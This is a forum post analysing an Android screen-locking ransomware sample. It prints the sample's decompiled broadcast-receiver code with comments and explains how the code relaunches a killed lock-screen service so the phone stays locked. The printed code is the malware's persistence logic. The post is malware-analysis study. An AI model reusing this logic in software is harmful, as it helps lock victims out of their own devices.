本帖最后由 wushaominkk 于 2018-3-1 21:57 编辑
最近在研究锁屏木马实现原理,正好看到论坛上云在天同学发的——多层Android锁机样本分析,文章写的很详细,正好有木马样本,所以拿过来研究下锁屏原理。解锁密码我就不分析了,需要的可以看云在天的原帖!多层Android锁机样本分析
https://www.52pojie.cn/thread-701201-1-1.html
先看看看图:
一,首先用AndroidKiller反编译,apk没有加固顺利进入,一般锁屏有2种方式,一种通过广播实现,另外一种是在禁用物理按键从而达到锁屏的目的(具体原理可以看我写的另外一篇文章)。
Android物理按键监听以及恶意代码分析
https://www.52pojie.cn/thread-703374-1-1.html
广播有2中注册方式,一种是在AndroidManifest.xml注册,一种是在代码中动态注册。先来看看AndroidMainfest.xml文件
如图:
静态注册了广播 name=".fuck",顺着思路我们找到这个类看看到底做了些什么操作
如图:
代码比较简单,步骤就不逐步分析了,直接加注释你们看
[Java] 纯文本查看 复制代码 public class fuck extends BroadcastReceiver
{
SharedPreferences share;
//判断服务是否被杀死
public static boolean isServiceRun(Context paramContext, String paramString)
{
boolean bool = false;
//获取运行中的所有服务
paramContext = ((ActivityManager)paramContext.getSystemService("activity")).getRunningServices(40);
int j = paramContext.size();
int i = 0;
if (i >= j) {}
//遍历所有服务的类名是否是锁屏服务的类名
for (;;)
{
return bool;
if (!((ActivityManager.RunningServiceInfo)paramContext.get(i)).service.getClassName().equals(paramString))
{
i += 1;
break;
}
bool = true;
}
}
@Override
public void onReceive(Context paramContext, Intent paramIntent)
{
//获取本地缓存对象
this.share = paramContext.getSharedPreferences("xs", 0);
//判断获取到的动作是否是com.qq2856437148
if ("com.qq2856437148".equals(paramIntent.getAction()))
{
//如果是com.qq2856437148将boolean改名true
this.share.edit().putBoolean("jc", true).commit();
return;
}
//如果本地缓存是false并且运行中的服务被杀死,打开主界面锁屏界面
if ((!this.share.getBoolean("jc", false)) && (!isServiceRun(paramContext, "com.qq2856437148"))) {}
try
{
paramIntent = Class.forName("com.k7.qq2856437148.K7");
paramIntent = new Intent(paramContext, paramIntent);
paramIntent.addFlags(268435456);
paramContext.startService(paramIntent);
return;
}
catch (ClassNotFoundException paramContext)
{
throw new NoClassDefFoundError(paramContext.getMessage());
}
}
总结:其实很简单,说白了就是程序启动的时候开启3个服务,分别是3层锁屏界面,通过广播如果服务被杀死再次启动服务达到锁屏的目的
|